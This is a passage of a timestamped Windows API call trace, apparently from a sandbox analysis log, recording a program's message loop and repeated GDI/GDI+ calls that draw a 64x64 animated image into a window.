height=0x15da30) returned 0x0 [0118.898] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0118.898] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0118.899] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4c01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0118.899] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.899] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4c01018a) returned 0x0 [0118.899] SelectObject (hdc=0x4c01018a, h=0x185000f) returned 0x1a05067e [0118.899] DeleteDC (hdc=0x4c01018a) returned 1 [0118.899] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0118.899] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0118.899] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0118.900] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0118.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0118.900] WaitMessage () returned 1 [0119.091] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.092] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.092] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.092] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.092] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.092] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0119.092] GetCurrentThreadId () returned 0xec0 [0119.092] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0119.092] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.092] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.092] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.092] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.092] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.092] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0119.093] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0119.093] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4d01018a [0119.093] SelectObject (hdc=0x4d01018a, h=0x1a05067e) returned 0x185000f [0119.093] GdipCreateFromHDC (hdc=0x4d01018a, graphics=0x15daf0) returned 0x0 [0119.093] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0119.093] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0119.093] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0119.093] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0119.093] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0119.093] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0119.094] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0119.094] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0119.094] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.094] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0119.094] GdipCreateRegion (region=0x15dc20) returned 0x0 [0119.095] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0119.095] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0119.095] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0119.095] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.095] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.095] GetSystemMetrics (nIndex=42) returned 0 [0119.095] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0119.095] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0119.095] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0119.095] CoTaskMemFree (pv=0x4fff10) [0119.095] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0119.095] GdipCreateRegion (region=0x15d710) returned 0x0 [0119.095] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0119.095] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0119.095] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0119.095] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0119.096] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0119.096] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0119.096] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0119.096] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0119.096] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0119.096] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0119.097] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0119.097] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.097] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0119.097] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0119.097] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0119.097] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0119.097] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.097] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0119.097] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0119.098] GetCurrentObject (hdc=0x4d01018a, type=0x1) returned 0x1b00017 [0119.098] GetCurrentObject (hdc=0x4d01018a, type=0x2) returned 0x1900010 [0119.098] GetCurrentObject (hdc=0x4d01018a, type=0x7) returned 0x1a05067e [0119.098] GetCurrentObject (hdc=0x4d01018a, type=0x6) returned 0x18a002e [0119.098] SaveDC (hdc=0x4d01018a) returned 1 [0119.098] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5a0407c3 [0119.098] GetClipRgn (hdc=0x4d01018a, hrgn=0x5a0407c3) returned 0 [0119.098] SelectClipRgn (hdc=0x4d01018a, hrgn=0x2a040b8a) returned 2 [0119.098] DeleteObject (ho=0x5a0407c3) returned 1 [0119.098] DeleteObject (ho=0x2a040b8a) returned 1 [0119.099] OffsetViewportOrgEx (in: hdc=0x4d01018a, x=0, y=0, lppt=0x27253b0 | out: lppt=0x27253b0) returned 1 [0119.099] GetNearestColor (hdc=0x4d01018a, color=0xffffff) returned 0xffffff [0119.099] CreateSolidBrush (color=0xffffff) returned 0x32100190 [0119.099] FillRect (hDC=0x4d01018a, lprc=0x15d7c0, hbr=0x32100190) returned 1 [0119.099] DeleteObject (ho=0x32100190) returned 1 [0119.099] RestoreDC (hdc=0x4d01018a, nSavedDC=-1) returned 1 [0119.099] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.099] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4d01018a) returned 0x0 [0119.099] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd820dbd) returned 0x0 [0119.099] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.100] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0119.100] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.100] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.100] GetSystemMetrics (nIndex=42) returned 0 [0119.100] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0119.100] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0119.100] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0119.100] CoTaskMemFree (pv=0x4fff10) [0119.100] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0119.100] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0119.100] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0119.100] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0119.101] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4d01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0119.101] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.101] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4d01018a) returned 0x0 [0119.101] SelectObject (hdc=0x4d01018a, h=0x185000f) returned 0x1a05067e [0119.101] DeleteDC (hdc=0x4d01018a) returned 1 [0119.101] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.101] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0119.101] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0119.101] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0119.101] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.101] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.101] WaitMessage () returned 1 [0119.298] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.298] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.298] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.299] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.299] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.299] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0119.299] GetCurrentThreadId () returned 0xec0 [0119.299] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0119.299] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.299] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.299] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.299] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.299] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.299] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0119.300] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0119.300] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4e01018a [0119.300] SelectObject (hdc=0x4e01018a, h=0x1a05067e) returned 0x185000f [0119.300] GdipCreateFromHDC (hdc=0x4e01018a, graphics=0x15daf0) returned 0x0 [0119.300] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0119.300] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0119.300] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0119.300] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0119.300] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0119.300] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a01b0 [0119.300] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a01b0) returned 0x0 [0119.301] LocalFree (hMem=0x1e7a01b0) returned 0x0 [0119.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.301] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0119.301] GdipCreateRegion (region=0x15dc20) returned 0x0 [0119.301] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0119.301] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0119.301] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0119.301] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.301] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.302] GetSystemMetrics (nIndex=42) returned 0 [0119.302] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0119.302] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0119.302] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0119.302] CoTaskMemFree (pv=0x4fff10) [0119.302] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0119.302] GdipCreateRegion (region=0x15d710) returned 0x0 [0119.302] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0119.302] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0119.302] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0119.302] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0119.302] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a01b0 [0119.302] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a01b0) returned 0x0 [0119.303] LocalFree (hMem=0x1e7a01b0) returned 0x0 [0119.303] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0119.303] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a01b0 [0119.303] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a01b0) returned 0x0 [0119.303] LocalFree (hMem=0x1e7a01b0) returned 0x0 [0119.303] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.303] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0119.303] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0119.304] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0119.304] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0119.304] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.304] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0119.304] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0119.304] GetCurrentObject (hdc=0x4e01018a, type=0x1) returned 0x1b00017 [0119.304] GetCurrentObject (hdc=0x4e01018a, type=0x2) returned 0x1900010 [0119.304] GetCurrentObject (hdc=0x4e01018a, type=0x7) returned 0x1a05067e [0119.304] GetCurrentObject (hdc=0x4e01018a, type=0x6) returned 0x18a002e [0119.304] SaveDC (hdc=0x4e01018a) returned 1 [0119.304] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2b040b8a [0119.304] GetClipRgn (hdc=0x4e01018a, hrgn=0x2b040b8a) returned 0 [0119.304] SelectClipRgn (hdc=0x4e01018a, hrgn=0x5b0407c3) returned 2 [0119.304] DeleteObject (ho=0x2b040b8a) returned 1 [0119.304] DeleteObject (ho=0x5b0407c3) returned 1 [0119.305] OffsetViewportOrgEx (in: hdc=0x4e01018a, x=0, y=0, lppt=0x273cb38 | out: lppt=0x273cb38) returned 1 [0119.305] GetNearestColor (hdc=0x4e01018a, color=0xffffff) returned 0xffffff [0119.305] CreateSolidBrush (color=0xffffff) returned 0x33100190 [0119.305] FillRect (hDC=0x4e01018a, lprc=0x15d7c0, hbr=0x33100190) returned 1 [0119.305] DeleteObject (ho=0x33100190) returned 1 [0119.305] RestoreDC (hdc=0x4e01018a, nSavedDC=-1) returned 1 [0119.305] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.305] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4e01018a) returned 0x0 [0119.305] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd800dbd) returned 0x0 [0119.305] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.305] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0119.305] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.305] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.305] GetSystemMetrics (nIndex=42) returned 0 [0119.305] CoTaskMemAlloc (cb=0x6) returned 0x4fff10 [0119.305] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff10, nMaxCount=1 | out: lpString="") returned 0 [0119.306] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff10) returned 0x0 [0119.306] CoTaskMemFree (pv=0x4fff10) [0119.306] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0119.308] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0119.308] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0119.308] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0119.308] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0119.309] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4e01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0119.309] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.309] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4e01018a) returned 0x0 [0119.309] SelectObject (hdc=0x4e01018a, h=0x185000f) returned 0x1a05067e [0119.309] DeleteDC (hdc=0x4e01018a) returned 1 [0119.309] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.309] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0119.309] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0119.309] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0119.309] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.309] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.309] WaitMessage () returned 1 [0119.519] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.519] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.519] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.520] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.520] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.520] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0119.520] GetCurrentThreadId () returned 0xec0 [0119.520] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0119.520] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.520] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.520] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.520] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.520] DispatchMessageW (lpMsg=0x15e910) returned 0x32080181 [0119.520] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0119.520] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0119.520] CreateCompatibleDC (hdc=0x1010b9d) returned 0x4f01018a [0119.521] SelectObject (hdc=0x4f01018a, h=0x1a05067e) returned 0x185000f [0119.521] GdipCreateFromHDC (hdc=0x4f01018a, graphics=0x15daf0) returned 0x0 [0119.521] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0119.521] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0119.521] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0119.521] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0119.521] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0119.521] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff87c0 [0119.521] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff87c0) returned 0x0 [0119.522] LocalFree (hMem=0x1aff87c0) returned 0x0 [0119.522] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.522] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0119.522] GdipCreateRegion (region=0x15dc20) returned 0x0 [0119.522] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0119.522] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0119.522] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0119.522] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.522] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.522] GetSystemMetrics (nIndex=42) returned 0 [0119.522] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0119.522] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0119.522] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0119.522] CoTaskMemFree (pv=0x1afd3e80) [0119.523] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0119.523] GdipCreateRegion (region=0x15d710) returned 0x0 [0119.523] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0119.523] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0119.523] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0119.523] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0119.523] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff87c0 [0119.523] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff87c0) returned 0x0 [0119.523] LocalFree (hMem=0x1aff87c0) returned 0x0 [0119.523] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0119.523] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff87c0 [0119.523] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff87c0) returned 0x0 [0119.524] LocalFree (hMem=0x1aff87c0) returned 0x0 [0119.524] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.524] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0119.524] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0119.524] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0119.524] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0119.524] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.524] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0119.524] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0119.524] GetCurrentObject (hdc=0x4f01018a, type=0x1) returned 0x1b00017 [0119.524] GetCurrentObject (hdc=0x4f01018a, type=0x2) returned 0x1900010 [0119.524] GetCurrentObject (hdc=0x4f01018a, type=0x7) returned 0x1a05067e [0119.524] GetCurrentObject (hdc=0x4f01018a, type=0x6) returned 0x18a002e [0119.524] SaveDC (hdc=0x4f01018a) returned 1 [0119.525] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5c0407c3 [0119.525] GetClipRgn (hdc=0x4f01018a, hrgn=0x5c0407c3) returned 0 [0119.525] SelectClipRgn (hdc=0x4f01018a, hrgn=0x2c040b8a) returned 2 [0119.525] DeleteObject (ho=0x5c0407c3) returned 1 [0119.525] DeleteObject (ho=0x2c040b8a) returned 1 [0119.525] OffsetViewportOrgEx (in: hdc=0x4f01018a, x=0, y=0, lppt=0x273ee18 | out: lppt=0x273ee18) returned 1 [0119.525] GetNearestColor (hdc=0x4f01018a, color=0xffffff) returned 0xffffff [0119.525] CreateSolidBrush (color=0xffffff) returned 0x34100190 [0119.525] FillRect (hDC=0x4f01018a, lprc=0x15d7c0, hbr=0x34100190) returned 1 [0119.525] DeleteObject (ho=0x34100190) returned 1 [0119.525] RestoreDC (hdc=0x4f01018a, nSavedDC=-1) returned 1 [0119.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.525] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4f01018a) returned 0x0 [0119.525] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd7e0dbd) returned 0x0 [0119.525] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.525] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0119.526] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.526] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.526] GetSystemMetrics (nIndex=42) returned 0 [0119.526] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0119.526] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0119.526] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0119.526] CoTaskMemFree (pv=0x1afd3e80) [0119.526] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0119.526] 